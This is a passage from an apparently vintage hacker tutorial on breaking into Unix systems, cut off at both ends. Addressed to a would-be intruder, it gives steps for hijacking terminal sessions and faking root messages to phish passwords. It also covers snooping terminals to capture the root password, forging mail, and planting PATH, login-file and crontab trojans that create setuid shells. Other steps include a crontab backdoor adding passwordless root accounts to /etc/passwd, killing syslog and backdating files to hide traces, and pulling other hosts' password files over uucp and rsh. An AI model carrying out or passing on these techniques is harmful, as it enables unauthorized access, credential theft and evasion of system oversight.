coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even +log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang +up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +FAKING WRITE MESSAGES +--------------------- + Being able to write to other people's terminal files also makes it +possible to fake write messages from any user on the system. For example, you +wish to fake a message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + + +WHEN FILE PERMISSIONS ARE CHECKED +--------------------------------- + Unix checks file permissions every time you issue a write or execute +command to a file. It only checks read permissions, however, when you first +issue the read command. For instance, if you issued the command to cat the +contents of a file, and someone changed the file's permissions so that you did +not have read permission while the process was still being executed, the cat +command would continue as normal. + +ONLINE TERMINAL READING +----------------------- + You can also, if you have some means of assuming an account's userid, +(such as having a uid shell for that account), you can read the contents of +someone's terminal on-line. Just execute the uid shell and type "cat +/dev/ttyxx &" (which will execute the cat command in the background, which will +still display the contents to your screen, but will also allow you to enter +commands). Once the person logs off, ownership of his terminal device file will +revert to root (terminal device files are temporarily owned by the account +logged in under them), but since you had the proper permissions when you +started the read process, you can still continue to view the contents of that +terminal file, and can watch, online, as the next use logs in. There is also +one other trick that can sometimes be used to gain the root password, but +should be exercised as a last resort, since it involved revealing your identity +as a hacker to the superuser. On many systems, the superuser also has a normal +user account that he uses for personal business, and only uses the root account +for system management purposes. (This is, actually, a rather smart security +move, as it lessens the chances of, say, things like his executing a trojan +horse program while under the root account, which, to say the least, could be +disastrous [from his point of view].) If you can obtain a uid shell for his +user account, simply execute a read process of his terminal file in the +background (while under the uid shell), and then drop back into your normal +shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only +account you have is a superuser account, you are effectively locked out of the +system.) + +MAIL FRAUD +---------- + The TCP/IP protocol is a common protocol for file transfers between +Unix systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on +another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and +send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX TROJAN HORSES +------------------ + This is an old, OLD subject, and there's little original material to +add about it. Trojan horses are programs that appear to execute one function, +but actually perform another. This is perhaps the most common means of hacking +Unix. + One of the easiest means of setting up a Unix trojan horse is to place +a program named after a system command, such as ls, "in the way" of someone's +search path. For instance, if a user's searchpath is ".:/usr/bin", which means +that the system searches the user's current directory for a command first, you +could place a shell script in the user's home directory called "ls" that, when +executed, created a copy of the shell, set the new shell file's uid and gid +bits, echo an error message (such as "lsa: not found", leading the user to +think he mistyped the command and the offending character was not echoed, due +to line noise or whatever), and delete itself. When the user executes the ls +command in his directory, the uid shell is created. Another good idea is to set +the name of the trojan to a command in the user's login file, have it make the +uid shell, execute the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in +a user's login file. Simply look at the user's password file entry to find out +which shell he logs in under, and then modify the appropriate login file (or +create one if it doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory +/usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just +specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the +cron utility will execute the commands in the user's crontab file. Then you can +delete the entry. Again, if the user doesn't have a file in +/usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, +otherwise the victim will receive the message "[filename]- cannot execute"... +Kind of a dead giveaway. +CHANGING UID PROGRAMS +--------------------- + If you have write access to a uid file, you can easily modify it to +become a shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +ADDING AN ACCOUNT TO A UNIX SYSTEM +---------------------------------- + To add an account to a Unix system, you must have write access to the +password file, or access to the root account so that you can change the +password file's protections. To add an account, simply edit the file with the +text file editor, edit (or any of the other Unix editors, if you wish). Add an +entry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. +UNIX BACKDOOR +------------- + A backdoor is a means of by-passing a system's normal security for +keeping unauthorized users out. For all the talk about back doors, they are +rarely accomplished. But creating a backdoor in Unix System V is really quite +easy. It simply requires adding a few entries to the file +/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't +exist, you can create it.) Add these lines, which will create 2 accounts on the +system, one a user account ("prop") and one a superuser account ("prop2"), at +1 am system time every night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +COVERING YOUR TRACKS +-------------------- + Naturally, you want to keep your cover, and not leave any trace that +there is a hacker on the system. This section will give you some tips on how to +do just that. First of all, the Unix system keeps track of when a file was last +modified (see the information on the command ls -l in the section on file and +directory protections). You don't want anyone noticing that a file has been +tampered with recently, so after screwing around with a file, if at all +possible, you should return its last modified date to its previous value using +the touch command. The syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If +you must create files and directories, make use of the hidden files feature. +Also, try to hide them in directories that are rarely "ls"'d, such as +/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents +are rarely tampered with). + Avoid use of the mail facilities, as anyone with the proper access can +read the /usr/mail files. If you must send mail to another hacker on the +system, write the message into a text file first, and encrypt it. Then mail it +to the recipient, who can save the message without the mail header using the w +option, and decrypt it. + Rather than adding additional superuser accounts to a system, I've +found it better to add simple user accounts (which don't stand out quite as +much) and use a root uid shell (judiciously hidden in a rarely used directory) +whenever I need superuser privileges. It's best to use a user account as much +as possible, and only go to the superuser account whenever you absolutely need +superuser priv's. This may prevent damaging accidents. And be careful when +creating a home directory for any accounts you add. I've always found it better +to use existing directories, or to add a hidden subdirectory to a little- +tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts +after a certain period of time. These programs usually keep logs of this kind +of activityl. Avoid sitting on the sitting doing nothing for long periods of +time. + While using some of the methods described in this file, you may replace +a user's file with a modified copy. This copy will be owned by your account and +group instead of the account which owned the original. You can change the group +back to the original owner's group with the chgrp command, the format of which +is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid +bits respectively are reset, so you can't copy the shell, set its uid bit, and +change its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible +operating system, and even though it comes equipped with very little in the way +of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. +In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you +have root capabilities). I will include information on System V error logging, +which most Unix clones will have error logging facilities similar to, and on +Berkely Standard Distribution (BSD) Unix error logging. + +BERKELY (BSD) UNIX ERROR LOGGING +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after +you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat /etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console +as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +SYSTEM V ERROR LOGGING +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a +list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP NETWORKING +--------------- + This section will cover the workings and use of the Unix uucp +facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the +exchange of files between Unix systems. There also facilities for users to dial +out and interact with remote systems, and for executing limited commands on +remote systems without logging in. + +OUTWARD DIALING +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have +the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system +must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR +is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems +where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the +device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. + +There are several options worth mentioning to cu: +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you +dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you +are communicating with another Unix system. + You may be wondering how you can find out the format for the phone +number, which is necessary to dial out. The format can be obtained from the +file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file +contains the uucp network names and phone numbers of other Unix systems, as +well as other information about them. This file contains the information needed +to carry out uucp file transfers with the systems listed within it. The entries +are in the format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted +at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: +Su Mo Tu We Th Fr Sa +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than +one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that +the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is +directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the +phone number field. Sometimes, these may be commands for the particular brand +of modem that the system is using to dialout, but other times, these may +actually be a part of the phone number. If so, the meaning of these characters +called tokens can be found in the file /usr/lib/uucp/Dialcodes (called +L-dialcodes on earlier systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +ripco Any ACU 1200 13125285020 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu ripco + +And the system would do the dialing for you, drawing the phone number from the +entry for Ripco in the Systems file. + +HOW UUCP TRANSFERS WORK +----------------------- + This section will detail how a uucp file transfer works. When you issue +the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used +for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico +shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection +is dropped. + +ADDING A LOGIN FIELD TO A SYSTEMS ENTRY +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, +that it is "secure". Because of this, they may ignore other uucp security +measures, and probably not give the account a password. If you find such a +system, you can add an entry for the system to the Systems (L.sys) file of +another Unix system and try to, say, transfer a copy of its password file. To +do so, simply follow the outline in the section on cu for how to add an entry +to the Systems file. That will cover everything but how to add the login field, +which is covered in this section. + The login section consists of expect/sendsubfields. For example, here +is an example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not +have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not +received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by +certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +UNUSUAL LOGIN ENTRIES +--------------------- + Sometimes, the login entry for a system might contain more than just +fields to expect the login prompt, send the username, expect the password +prompt, and send the password. For instance, if you have to go through a +multiplexer to get to the system, the login field would contain a subfield to +select the proper system from the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the +phone number field may be left unused (will contain an arbitrary entry, such as +the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "ripco": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. +The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT13125285020", which is a Hayes dialing comand, which will make +the modem dial 13125285020. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP SYNTAX +----------- + Once you've completed an entry for the Unix system you wish to transfer +files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is +the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the ripco system's password file, type: + +uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +DEBUGGING UUCP PROCEDURES +------------------------- + So, what if your transfer did not go through? Well, this section will +detail how to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of transactions with remote +systems. You can either draw up the entries by system name, or the name of the +user who initiated the transaction. +For our purposes, we only want to draw up the log by øÄsystem name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the +logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the +Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the +phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not +perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + + + +A successful transaction log will usually look like this: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) +root ripco (11/20-2:01-1234) OK (startup) +root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root) +root ripco (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an +hour. During this time, that system cannot be contacted. These files, depending +on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: +STST..[system name] +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you +wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called ripco, +the files will be in the directory /usr/spool/uucp/ripco. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the +transfer of the ripco system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the +Systems file or whatever, and try again! + +UUCP SECURITY +------------- + Obviously, uucp access to files has to be restricted. Otherwise, +anyone, from any system, could copy any file from the remote system. This +section will cover the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that +remote systems can copy from, and local users can send files from to remote +systems. The entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send files + from to a remote system. + +A typical entry might look like: + +local_dork,ripco - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system ripco +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy +files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, +the local system scans through the userfile, ignoring the local user field (you +can't restrict transfers with a particular user from a remote system...the copy +access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed +to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system +name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system +will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not +use the uucico shell. In any case, whether the account uses the uucico shell or +not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +EXECUTING COMMANDS ON A REMOTE SYSTEM +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and +rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne +shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for +file transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but +are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command +can't be used for, say, printing the contents of a text file to your screen. + +UUX SECURITY +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base +names of the programs/commands that the remote can execute on the local system. +The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,ripco + +Means that the remote system Ripco can execute the rmail and lp commands on the +local system. Usually, only the lp and rmail commands will be allowed. + Again, we come to another, "different" version of the uucp facilities. +On some systems, the commands a remote system can execute on the local system +are contained in the file /usr/lib/uucp/Permissions. Entries in this file are +in the form: + +MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ= +[directories] WRITE=[directories] + +Where: + +Remote is the name of the remote system. Commands is a list of the commands +the remote may execute on the local system, in the form: +pathname:pathname + +For example: + +/bin/rmail:/usr/bin/netnews + +The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy +files from the local system. The yes/no after "SEND=" tells whether or not the +remote system can send files to the local system. The list of directories after +"READ=" tells which directories the remote can copy files from (provided that +it has REQUEST privileges), and is in the form: + +pathname:pathname...etc. + +For example: + +/usr/spool/uucppublic:/usr/lib/uucp + +Again, as before, the remote has copy access to any directories that are below +the directories in the list in the system tree. The list of directories after +"WRITE=" is in the same form as the list of directories after "READ=", and is a +list of the directories that the remote can copy files TO on the local system. + +RSH +--- + This is a new feature which I have seen on a few systems. This is not, +to the best of my knowledge, a System V feature, but a package available for +3rd party software vendors. If the rsh command is featured on a system, the +restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote +shell, and is for the execution of any command, interactive or otherwise, on a +remote system. The command is executed realtime, and the output from the +command will be sent to your display. Any keys you press while this command is +being executed will be sent to the remote system, including breaks and +interrupts. The format is: + +rsh [system] command line + +For example: + +rsh ripco cat /etc/passwd + +Will print out the /etc/passwd file of the Ripco system on your screen. To the +best of my knowledge, the only security features of the rsh command are the +individual file and directory protections of the remote system. + +UUNAME AND UUSTAT +----------------- + These are 2 commands which are for use by users to show the state of +the local system's uucp facilities. Uuname gives a list of all the system names +in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux +jobs. + +NETWORK MAIL +------------ + There are several different ways of sending mail to users on other +systems. First of all, using the uucp and uux commands. Simply edit a text file +containing the message you wish to send, and uucp a copy of it to the remote +system. Then send it to the target user on that system using the uux command: + +uux system!rmail [username] < [pathname] + +Where system is the name of the system the target user is on, username is the +name of the user you wish to send the mail to, and pathname is the pathname of +the text file you sent to the remote 